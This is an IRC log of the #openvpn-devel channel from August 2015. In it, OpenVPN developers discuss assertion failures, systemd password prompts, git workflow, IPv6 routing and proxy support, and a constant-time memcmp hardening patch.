discussed it (warning for 2.3, error for master) but I'm not sure I ever saw a patch - or whether I lost it. Will go and investigate 03:23 <@cron2> it does not seem to be "in2 04:11 <@syzzer> cron2: the week after will be the same for me 04:11 <@syzzer> but after that, mondays are fine again --- Log closed Fri Aug 07 05:18:51 2015 --- Log opened Tue Aug 11 11:26:07 2015 11:26 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 11:26 -!- Irssi: #openvpn-devel: Total of 27 nicks [10 ops, 0 halfops, 2 voices, 15 normal] 11:26 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 11:26 -!- Irssi: Join to #openvpn-devel was synced in 6 secs 11:42 <@dazo> cron2: updated patches from yesterdays discussions have just been sent 13:27 -!- jrgcombr [~jrocha@177.148.152.3] has quit [Ping timeout: 265 seconds] 13:42 -!- jrgcombr [~jrocha@177.148.152.3] has joined #openvpn-devel 13:55 -!- dazo is now known as dazo_afk 15:19 <@vpnHelper> RSS Update - tickets: #593: mssfix code is slow <https://community.openvpn.net/openvpn/ticket/593> 17:01 <@vpnHelper> RSS Update - tickets: #594: HTTPS (SSL) proxy support <https://community.openvpn.net/openvpn/ticket/594> 18:03 -!- esde is now known as Guest44432 18:05 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 18:08 -!- Guest44432 [~esde@openvpn/user/esde] has quit [Remote host closed the connection] 19:41 <@vpnHelper> RSS Update - wishlistfeed: Feature request: integrate WAN Optimization into OpenVPN <http://forums.openvpn.net/topic19426.html> || Bug #430 seems to start new zombie life <http://forums.openvpn.net/topic19385.html> || Windows Phone support <http://forums.openvpn.net/topic19337.html> || OpenVPN for Windows Feature Request <http://forums.openvpn.net/topic19329.html> || Kill switch! <http://forums.openvpn.net/topic19193.html> || --- Day changed Wed Aug 12 2015 01:39 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 03:38 <@plaisthos> 2015-08-12 14:12:49 Assertion failed at openvpn//src/openvpn/misc.c:773 03:38 <@plaisthos> not again :( 03:38 <@plaisthos> that is void 03:38 <@plaisthos> setenv_str_ex (struct env_set *es, 03:38 <@plaisthos> I though I fixed an error there already 04:20 <@syzzer> oh-oh 04:32 * plaisthos thought a SRV a bit 04:32 <@plaisthos> and it is a nice feature 04:33 <@plaisthos> but at the moment completely useless and we have more important things to implement/fix 04:45 -!- dazo_afk is now known as dazo 04:59 <@dazo> plaisthos: agreed ... but if someone is willing to look into this and get involved, I just say: Go ahead! That's what got you and cron2 involved, right? ;-) 05:11 <@cron2> true, more developers would be great - but what we actually need more than "new code! bye!" right now is active reviewers and bug fixers 05:12 <@cron2> plaisthos: that assertion, do you already know what triggered it? 05:12 <@cron2> (iow, who is calling setenv_str_ex() with es==NULLL) 05:14 <@plaisthos> cron2: log messages before that are 05:14 <@plaisthos> 2015-08-12 14:12:49 MANAGEMENT: >STATE:1439363569,RECONNECTING,init_instance,, 05:14 <@plaisthos> 2015-08-12 14:12:49 MANAGEMENT: TCP send error: Broken pipe 05:14 <@plaisthos> 2015-08-12 14:12:49 MANAGEMENT: Client disconnected 05:14 <@plaisthos> 2015-08-12 14:12:49 MANAGEMENT: Triggering management exit 05:14 <@plaisthos> so probably openvpn_exit 05:16 <@plaisthos> I do not know how long this error has been in openvpn 05:16 <@plaisthos> I just reenabled breakpad crash logging in the latest version 05:18 <@cron2> ah, so it's more like "you've just not seen it" 05:18 <@cron2> but I seem to remember es-related ASSERT fixes... 05:28 <+novaflash> oh no, a broken pipe. i'll get a plumber. 05:32 <@plaisthos> the error message is wrong anyway 05:32 <@plaisthos> since it is a unix socket 06:14 <@cron2> thou shalt not send TCP through a unix socket! 06:15 -!- txdv [~unreal@78-56-71-41.static.zebra.lt] has quit [Ping timeout: 240 seconds] 06:42 -!- jrgcombr [~jrocha@177.148.152.3] has quit [Ping timeout: 265 seconds] 07:54 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 08:21 -!- jrgcombr [~jrocha@177.148.152.3] has joined #openvpn-devel 08:45 -!- jrgcombr [~jrocha@177.148.152.3] has quit [Ping timeout: 246 seconds] 08:49 -!- jrgcombr [~jrocha@179.34.154.138] has joined #openvpn-devel 10:33 -!- esde is now known as esde1 12:43 -!- esde1 is now known as esde 13:00 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 256 seconds] 13:04 -!- dazo is now known as dazo_afk 13:06 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 15:01 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] --- Day changed Thu Aug 13 2015 02:41 -!- Netsplit *.net <-> *.split quits: floppym 02:43 -!- Netsplit over, joins: floppym 02:46 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 256 seconds] 02:49 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:43 -!- dazo_afk is now known as dazo 08:08 <@plaisthos> my own config parser in openvpn for android now also got bitten by byte order mark 08:18 <@cron2> how so? 08:26 <@plaisthos> I parse the config and add unknown options/lines to the config 08:27 <@plaisthos> so the first line got thrown into the "custom options" section 08:27 <@plaisthos> so a BOM in the middle of the ocnfig file 08:27 <@plaisthos> and openvpn did not like this 08:27 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Quit: Leaving.] 08:27 <@plaisthos> and then it took my 10 min to figure out how to skip it: 08:27 <@plaisthos> if (line.startsWith("\uFEFF")) { 08:28 <@plaisthos> line = line.substring(1); 08:28 <@plaisthos> Bom is three bytes in the file ... 08:28 -!- reators [~holger@2001:1a80:2000:2:3162:d0aa:805c:c81d] has joined #openvpn-devel 08:32 <@plaisthos> cron2: see #openvpn 08:32 <@plaisthos> there another user which has problem with your patch 08:38 <@plaisthos> (the askpass daemon stuff) 09:04 * dazo see he needs to start pondering on the next milestone for his query user input patches ... 09:04 <@dazo> but the v3 patches needs to be accepted first .... 09:10 <@cron2> plaisthos: not on that channel right now... what is he doing to trigger that? 09:26 <@plaisthos> cron2: something with systemd 09:35 <@cron2> oh 09:36 <@cron2> yeah, that might indeed happen... because it checks for stdin/stderr before going into get_console_input() which *then* does #ifdef SYSTEMD, or so 10:16 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Read error: Connection reset by peer] 11:12 -!- TAreHexT [~Thunder00@63.141.198.81] has joined #openvpn-devel 11:30 -!- TAreHexT [~Thunder00@63.141.198.81] has quit [Ping timeout: 244 seconds] 12:32 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 12:46 <@cron2> dazo: could you test whether openvpn in a "run by systemd, needs auth-user-pass" works with 2.3.8? 12:47 <@dazo> cron2: I'm doing that every day ... well, right now I'm running git master 12:47 <@cron2> so why is it working for you? : 12:47 <@cron2> :) 12:47 <@dazo> I'm doing the right thing! ;-) 12:47 <@dazo> do we have some good info on some failing scenarios? 12:47 <@cron2> my "check isatty(0) || isatty(2)" patch might have broken systemd usage (if no tty available), but if you see no breakage, I wonder what hit that user... 12:48 <@cron2> but glad that I did not *totally* mess up this thing :-) 12:49 <@dazo> actually, if no tty isn't available - it should still work as systemd then expects user input from "elsewhere", like running 'systemd-tty-ask-password-agent' ... and that agent will pass on the info to systemd-ask-password kicked off by OpenVPN 12:50 <@dazo> another "elsewhere" place can also be plymouth (the boot screen in newer linuxes) 12:52 <@cron2> well, my code changes the logic to fail with an explicit error message instead of calling getpass() (which returns an empty string, not an error message) leading to a funny error message later on - but that code *should* only be triggered when we've already decided that "we need to call getpass()"... so maybe someone is using "echo username password | openvpn ..." or so... dunno 12:52 <@dazo> hmmm ... or maybe that is the issue when isatty() is invoked ... 12:53 <@dazo> that echo approach would indeed definitely complicate things with systemd involved 12:57 <@dazo> cron2: I think you're unto something, when suggesting the 'echo' approach ... My configs use both password on a pkcs12 file and username/password ... (well I have often three configs running; 1] just pkcs12 passsword, 2] just username/password, 3] 1+2) 12:58 <@dazo> as the from_stdin has to be set ... which means (flags & GET_USER_PASS_NEED_OK) is false 13:00 <@cron2> but if that works for you, people should then just systemd-askpassword :) 13:00 <@cron2> (I have no idea how the user config looks like, so just guessing what they might come up with) 13:00 <@dazo> hmmmm .... 13:01 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:01 <@dazo> I wonder if they use a crappy systemd unit file which tries to circumvent things 13:02 <@dazo> I have seen some odd unit files around which did some strange post-start stuff trying to use the management interface - which was the only solution before systemd support was in place 13:02 <@dazo> and if that distro haven't updated the unit file with what we propose in our git tree ... it may be wrong 13:06 <@dazo> I was wrong about GET_USER_PASS_NEED_OK 13:09 <@dazo> but the unit file stuff is still plausible ... I need to know if they start openvpn via systemctl or using the command line directly 13:11 * dazo need to run to catch a train 13:11 * cron2 waves 13:12 -!- dazo is now known as dazo_afk 13:45 <@vpnHelper> RSS Update - tickets: #595: Failed to auto startup in Win10 <https://community.openvpn.net/openvpn/ticket/595> 14:51 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 15:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 16:04 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 17:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 17:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 17:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 23:49 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] --- Day changed Fri Aug 14 2015 02:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:56 <@plaisthos> cron2: with 20% of user nobody complained so far. Now full rollout. 03:00 <@cron2> cool 03:00 <@cron2> anyway, good you're here - I have a git question 03:00 <@cron2> I have one branch "a" that has two commits in it, and "b" with 5 commits 03:01 <@cron2> what I'd like to do is: set up a branch "c" that is tracking origin/master, merge in the changes from "a" and "b", and go on hacking on the "b" stuff 03:01 <@cron2> I thought I just have to do "git checkout -b c origin/master" and then "git merge a", but this isn't doing the right thing 03:01 <@cron2> specifically, it creates one commit with all the changes from "b" in them, but loses the original commit messages... 03:03 <@cron2> (from "a" in them, but anyway, "just one commit" instead of "the individual commits") 03:12 <@cron2> mmmh. Seems I want "git cherry-pick a1...a2" and then "git cherry-pick b1...b5" 03:12 <@syzzer> cron2: I'd say either cherry-pick the commits you want onto c, or checkout b, do a checkout -b c, rebase onto a 03:13 <@syzzer> cherry-pick is probably the easiest 03:13 <@cron2> oh, the rebasing would also have worked, I just didn't think of "fork a branch off b" :) 03:15 <@cron2> if you "rebase on to a", and later want to "rebase the whole thing onto git/master again", where will it sort of "cut"? The think "rebased onto a" or "including the changes of a, relativ to *its* tracked branch"? 03:18 <@cron2> but yeah, cherry-picking is easier here (and by giving a range of commits, does mostly what I expected "merge" to do) 03:19 <@cron2> so it's always clear which branch is being tracked 03:27 <@syzzer> rebase a onto b always rebases everything starting from the split of a and b (but tries to be smart about commits that appear in both) 03:28 * cron2 is fine with cherry-pick for the time being (except that new commits in master broke my code, meh) 03:30 * cron2 added a paramter to --show-gateway, and jkbullards commit "&& !p[1]" wasn't in that branch yet... 03:30 <@cron2> but here we go! 03:30 <@cron2> Fri Aug 14 10:30:10 2015 ROUTE6_GATEWAY fe80::250:43ff:fe01:dc37 IFACE=eth1 03:31 <@plaisthos> nice! 04:41 -!- dazo_afk is now known as dazo 07:06 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:06 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 07:19 <@vpnHelper> RSS Update - tickets: #596: Add option to change the InterfaceMetric on the TAP32 adapter <https://community.openvpn.net/openvpn/ticket/596> 07:21 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 07:51 <@cron2> colleague just installed OpenVPN AS for a customer and is totally awed (and "bored")... 07:51 <@cron2> "everything is super easy and totally boring, it just works" :-) 07:55 <@ecrist> the one key feature that really prevents openvpn from being an enterprise scale VPN solution is its lack of ability to push config updates to the client 07:55 <@ecrist> everything else is there, though. 08:13 <@syzzer> mattock: did you already hear you'll need EV code signing certs for Windows 10 ? 08:14 <@syzzer> microsoft seems to have stocks of CAs 08:14 <@syzzer> those certs are expensive! 09:26 <@cron2> there's a few win10 related trac tickets already, which is totally confusing - one half is complaining about "it does not install!" and the other half is installing fine and has detail issues... 11:00 -!- reators [~holger@2001:1a80:2000:2:3162:d0aa:805c:c81d] has quit [Quit: Leaving.] 11:53 <@mattock1> syzzer: no, I have not heard of that 11:53 <@mattock1> for device drivers, or also for executables? 12:32 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:47 <@syzzer> mattock1: just device drivers 13:50 -!- dazo is now known as dazo_afk 14:20 -!- jrgcombr [~jrocha@179.34.154.138] has quit [Quit: Leaving] 14:43 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 14:50 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 14:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 18:00 <@plaisthos> this error on config options was a stupid idea 18:00 <@plaisthos> "It is the same configuration as the one before the update. Also I tested the configuration on Ubuntu, which worked like a charm. Any ideas?." 20:57 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 21:31 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Sat Aug 15 2015 07:39 <@cron2> plaisthos: well, I can see that :) 07:40 <@cron2> Linux routing is confusing me... I have a /64 pointing towards tun0, a /128 pointing towards dev eth1 + gateway, it works for a while, and then "ip route get $host" tells me that it has a *cache* route to tun0 now. What? 07:45 <@cron2> $ ip -6 route get 2001:608:0:814::f000:11 07:45 <@cron2> 2001:608:0:814::f000:11 dev tun0 src 2001:608:3:814::f00d metric 0 07:45 <@cron2> cache 07:45 <@cron2> $ SU ip -6 route delete 2001:608:0:814::f000:11 dev tun0 07:45 <@cron2> $ ip -6 route get 2001:608:0:814::f000:11 07:45 <@cron2> 2001:608:0:814::f000:11 via fe80::3ce4:eddf:1e12:78e3 dev eth1 src 2a01:598:ffff:9212:522b:598c:b571:46e5 metric 1024 07:46 <@cron2> the (wrong) cache entry pops up "after a while", with no discernible reason 07:50 <@cron2> and of course, when you monitor it, it does not happen 07:55 <@cron2> mmmh 07:59 <@cron2> seems my funny LTE/Wifi router thingie went into "UNREACH" state and the ipv6 default gw went away... which I'm seeing on *two* link-local addresses anyway... this is crazy stuff 07:59 <@cron2> fe80::6251:2cff:fe5a:fef7 dev eth1 lladdr 60:51:2c:5a:fe:f7 router REACHABLE 07:59 <@cron2> fe80::3ce4:eddf:1e12:78e3 dev eth1 router FAILED 07:59 <@cron2> Deleted default via fe80::3ce4:eddf:1e12:78e3 dev eth1 metric 2053 mtu 1500 07:59 <@cron2> default via fe80::b08b:bbe6:1c5f:d1c3 dev eth1 metric 2053 mtu 1500 07:59 <@cron2> Deleted 2a01:598:ffff:bbe7::/64 dev eth1 proto kernel metric 2053 mtu 1500 07:59 <@cron2> and *bam*, my /128 route towards :78e3 is gone, too 12:17 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 12:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 16:41 -!- novaflash is now known as novaflash_away 20:13 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:18 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Sun Aug 16 2015 01:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:03 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 02:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:06 -!- m0hm0h [m0hm0h@kapsi.fi] has quit [Ping timeout: 255 seconds] 02:06 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 255 seconds] 03:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 07:48 <@cron2> so where is mattock when you want to bug him... 12:00 -!- novaflash_away is now known as novaflash 13:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] --- Day changed Mon Aug 17 2015 00:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:24 -!- reators [~holger@2001:1a80:2000:2:2004:d66d:a20d:4de5] has joined #openvpn-devel 02:31 <@vpnHelper> RSS Update - tickets: #597: Integrate NSSM into OpenVPN <https://community.openvpn.net/openvpn/ticket/597> 02:59 <@cron2> mattock1: good morning :-) 03:02 <@mattock1> good morning :) 03:07 <@cron2> mattock1: do you have insights into IPv6 and AS? A colleague of mine is testing AS for a customer (all willing to shell out money for it), but it does not seem to do *any* IPv6 yet - even though I have on authoritative source that the built-in openvpn binary does v6 just fine... 03:39 <@mattock1> AS + IPv6 should work, but the admin UI only has IPv4 03:39 <@mattock1> but IPv6 can be configured from the command-line 03:39 <@mattock1> I have no personal experience, though, I rarely use AS 03:40 <@cron2> oh :) - could you forward this internally, maybe someone can point us to a document that explains how it's done 03:40 <@cron2> the "extended options" in the GUI doesn't work because it will apply the same IPv6 settings to all openvpn instances - which will conflict and fail... 03:40 <@mattock1> I believe there's documentation on this under /usr/local/openvpn_as/doc or something 03:41 <@mattock1> James typically writes pretty excellent documentation there 03:41 <@cron2> ok, thanks :) - I'll forward this to my colleague, and will provide feedback 03:42 <@mattock1> ok, great! 03:42 <@mattock1> if the documentation is lacking just let me know 04:06 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 04:06 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:07 <@cron2> mmmh, all the docs have about v6 is "how to block public v6 access on the client"... 04:07 * cron2 complains! 04:08 <@mattock1> ah 04:08 <@mattock1> I'll send an email to james 04:09 <@mattock1> and this is the latest Access Server release, right? 04:09 <@mattock1> not 1.8.5 or something? 04:10 <@cron2> 2.0.20 04:10 <@mattock1> ok 04:11 <@cron2> fun, lib/python2.7/_sysconfigdata.py has ENABLE_IPV6': 1 - but it does not seem to do anything yet... 04:11 <@cron2> looks work-in-progress'y :) 04:11 <@mattock1> probably highly so 04:11 <@cron2> my colleague started getting curious and is now reading thru the python sources :) 04:12 <@mattock1> I would suspect they're obfuscated to some degree 04:12 <@mattock1> at least the core files 04:13 <@mattock1> ok, mail sent 04:13 <@cron2> it has funny options 04:13 <@cron2> 11:12 < mme> Define if --enable-ipv6 is specified 04:13 <@cron2> 11:12 < mme> #define ENABLE_IPV6 1 04:14 <@mattock1> ok, need to head for lunch 04:14 <@cron2> enjoy 04:27 <@d12fk> if ((ce->http_proxy_options) && ce->proto != PROTO_TCPv4_CLIENT) 04:27 <@d12fk> msg (M_USAGE, "--http-proxy MUST be used in TCP Client mode (i.e. --proto tcp-client)"); 04:27 <@d12fk> i think this is a mistake 04:27 <@d12fk> should this work for IPv6 clients as well? 04:28 <@d12fk> so connections between client and proxy IPv4 and from the proxy to the server IPv6? 04:28 <@cron2> is this 2.3 or master? (because plaisthos reworked all this, and I think "proxy over v6" should work now) 04:29 < reators> It's 2.3.6 04:30 <@cron2> 2.3 is totally broken in regards to dual-stack client connections... - so, yes, it *should* work, but 2.3 can only do IPv4 to proxy (and request IPv6 from then on) 04:31 <@cron2> yeah, my git master t_client.rc has a specific test "--proto tcp6-client --http-proxy 2001:608:2:81::10 3128" - but that was added after the dual-stack patch set was merged 04:31 <@cron2> #TEST_RUN_LIST="1c" # tcp6 via http-proxy, not supported in 2.3 04:32 <@d12fk> so it could work, but doesn't currently 04:34 <@cron2> the "open a socket and do things with it" parts in 2.3 is not truly dual-stack capable, it is "v4 or v6 but you tell it!" and jjo never added the "or v6" part to the http proxy bits 04:34 <@cron2> so, yes, it should work 04:35 <@cron2> maybe it's not that hard to add that particular bit to 2.3, but socket.c has changed very much in master 05:06 <@d12fk> ok, I'll have a look 05:14 -!- dazo_afk is now known as dazo 05:43 <@plaisthos> d12fk: iirc the create_socket code might break in 2.3 05:43 <@plaisthos> in -master it figures out if to create a v4/v6 socket and in 2.3 it might be hardcoded 06:33 <@mattock1> there is now a honeypot email address: https://openvpn.net/index.php/contact-us-sp-989947891.html 06:33 <@vpnHelper> Title: Contact Us (at openvpn.net) 06:33 <@mattock1> in addition the security list is no longer a link, so clueless people probably don't send as many emails there 06:58 <@plaisthos> help@? 06:59 <@mattock1> yes 08:46 <@syzzer> mattock1: looks like that will at least keep the most clueless people away :) 08:47 <@syzzer> as a side note, can you add my private mail to the alias? I read that much more often than my work mail. 10:27 <@mattock1> syzzer: the distribution list thingy in Rackspace is quite crappy, but I'll see what I can do 10:30 <@syzzer> ok :) 10:30 <@syzzer> in case you don't have notifications enabled: I created an openvpn-build pull request 10:33 <@mattock1> ah, I'll have to have a look 10:34 <@syzzer> I saw there are more pull requests, among which trivial ones 10:34 <@syzzer> (or at least 10:34 <@syzzer> 'one trivial') 10:34 <@mattock1> apparently I don't have notifications enabled for openvpn-build... need to fix that 10:35 <@syzzer> I suspected that, hence the poke ;) 10:35 <@mattock1> yeah :) 11:57 <@plaisthos> ugh @ github patch 11:57 <@plaisthos> clinat for ftp 12:00 -!- loganaden [~logan@ns1.qubic.net] has joined #openvpn-devel 12:00 < loganaden> hoi 12:01 < loganaden> i have a small patch for openvpn 12:01 < loganaden> a one-liner 12:01 <@plaisthos> loganaden: yes? 12:01 < loganaden> before i post it to the devel, i would appreciate if i can get a review please :-D 12:02 <@plaisthos> loganaden: if you don't post your patch nobody can look at it 12:02 < loganaden> plaisthos: http://elandsys.com/~logan/memcmp_constant_time.diff 12:03 < loganaden> plaisthos: use memcmp_constant_time for the cipher which may be short-circuited 12:03 < loganaden> plaisthos: similar to what is done already for the HMAC 12:03 < loganaden> if (memcmp_constant_time (local_hmac, BPTR (buf), hmac_len)) 12:09 < loganaden> plaisthos: what do you think :p ? 12:09 <@plaisthos> loganaden: That is crypto related stuff 12:10 <@plaisthos> syzzer or need to take a closer look there 12:10 < loganaden> plaisthos: thanks 12:11 <@plaisthos> loganaden: do you have a writeup why this code path is timing sensitive for sidechannel attack? 12:12 <@plaisthos> I mean this code path is only executed at --verb 7 12:12 <@plaisthos> I am not sure if we are for sidechannel timnig attack for client/server run at verb 7 12:12 <@plaisthos> +care 12:13 <@plaisthos> need to go sport now, brb 12:13 < loganaden> plaisthos: thanks :) 12:24 <@dazo> loganaden: syzzer will have the final saying here ... but I also don't see why that change is important there. Can you please describe where you've seen a possibility for a side-channel attack? 12:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 12:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:40 < loganaden> dazo: i thought that it would be a safer API to adopt 12:43 <@dazo> loganaden: I haven't dug too deep yet ... but in this case it looks like either APIs would be equally safe 12:56 <@cron2> usually we prefer fast and optimized APIs and only go for the more complicated constant-time stuff if *needed* 14:33 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 15:11 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 17:16 -!- dazo is now known as dazo_afk 19:39 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 19:40 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Tue Aug 18 2015 02:11 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 02:21 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 02:24 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:32 -!- dazo_afk is now known as dazo 04:54 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:54 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 04:55 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 04:56 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:56 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 05:03 <@vpnHelper> RSS Update - tickets: #598: v2.3.8 :: No IPv6-only tunnel is working without IPv4 address space defined <https://community.openvpn.net/openvpn/ticket/598> 05:10 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:44 <@syzzer> loganaden: I don't think the constant time memcmp() is actually needed here, because the input is not attacker-controlled. 05:45 <@syzzer> and the information your could leak is *if* you are using a DES key, did you generate one with good parity? 05:45 <@syzzer> which is really not interesting 05:47 <@syzzer> that said, I think it is reasonable to always use side-channel free implementations when dealing with assets such as keys 05:48 <@syzzer> so as long as you clearly present this as a hardening measure (and not a security fix), I'd be fine with the patch 05:48 <@syzzer> (although the real fix would obviously be to entirely remove DES support :p ) 06:19 <@cron2> syzzer: sounds like a plan :) 07:05 <@dazo> Anyone looked at the changes OpenSSH have done in v7.0? A lot of weak crypto features have been at least disabled by default ... http://www.openssh.com/txt/release-7.0 07:05 <@dazo> interesting that they've disabled blowfish though 07:12 <@syzzer> well, if it is not often used (e.g. because it is your default ;) ), there's not much reason to keep blowfish 07:19 <@dazo> hmm, yeah, fair enough 07:22 <@cron2> syzzer: well, blowfish is hard to abandon, as it was the default cipher for "ever" (and still is?) - so until we have cipher negotiation, this won't fly 07:22 <@cron2> uh 07:22 <@cron2> well 07:22 <@cron2> now I read closely what you said - ignore me :) 07:58 -!- esde [~esde@openvpn/user/esde] has quit [Quit: .] 08:03 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 08:26 <@mattock1> cron2: there is some documentation on AS and IPv6: https://docs.openvpn.net/docs/access-server/openvpn-access-server-command-line-tools.html#ipv6-support 08:26 <@vpnHelper> Title: OpenVPN Access Server Command-line Tools (at docs.openvpn.net) 08:27 <@cron2> mattock1: whee :-) 08:28 <@cron2> well hidden, but "should get the job done" 08:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 08:33 -!- dazo is now known as dazo_afk 08:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:59 -!- Netsplit *.net <-> *.split quits: TimSmall 10:12 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 10:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 10:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:00 -!- dazo_afk is now known as dazo 12:19 -!- dazo is now known as dazo_afk 12:24 -!- dazo_afk is now known as dazo 14:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 17:40 -!- dazo is now known as dazo_afk 19:21 -!- PGNd [~PGNd@unaffiliated/pgngw] has joined #openvpn-devel 19:58 -!- PGNd [~PGNd@unaffiliated/pgngw] has quit [Remote host closed the connection] 22:18 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 255 seconds] 22:22 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 22:27 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 240 seconds] 22:32 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 23:12 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 255 seconds] 23:20 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 23:50 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 256 seconds] 23:55 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel --- Day changed Wed Aug 19 2015 00:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 02:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:12 -!- dazo_afk is now known as dazo 04:36 <@dazo> mattock: Not sure using amazon mail service for the community server is such a good idea ... mails from trac is now easily classified as "spammy", and quite hard to add spamassassin rules for it ... the Return-Path which is commonly used for rules are ${Message-ID}@amazones.com .... not sure I want to "whitelist" all amazones.com senders :/ 05:06 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 05:09 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:47 <@cron2> we have a meeting next week, right? 08:47 <@mattock1> that is the plan 08:48 <@cron2> ok. I might not be there, or late, or whatever - I'll be in italy :) - but I'll try 08:49 <@mattock1> ok 12:33 -!- mattock1 